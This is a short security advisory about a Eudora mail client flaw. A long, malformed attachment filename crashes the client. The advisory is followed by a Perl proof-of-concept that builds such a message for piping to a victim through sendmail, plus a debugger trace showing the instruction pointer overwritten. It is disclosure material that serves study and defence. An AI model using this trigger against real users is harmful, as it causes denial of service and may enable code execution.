source: http://www.securityfocus.com/bid/7026/info

Eudora may crash when handling messages which contain attachments with excessively long filenames. This condition reportedly occurs when messages with malformed attachment filenames are stored in the user's mailbox, which could result in a persistent denial of service to the mail client.

#!/usr/bin/perl --
print "From: me\n";
print "To: you\n";
print "Subject: Eudora 6.1 buffer overflow demo\n";
print "X-Use: Pipe the output of this script into:  sendmail -i victim\n\n";
print "Long spoofed attachments cause an exploitable buffer overflow:\n";
# (298.40c): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=800403e9 ebx=00000005 ecx=41414141 edx=00a22040 esi=00002966 edi=026a65b4
# eip=41414141 esp=0012f65c ebp=41414141 iopl=0         nv up ei ng nz ac pe cy
# cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010293
# 41414141 ??               ???
print "Attachment Converted\r: ", "A"x300,"\n\n";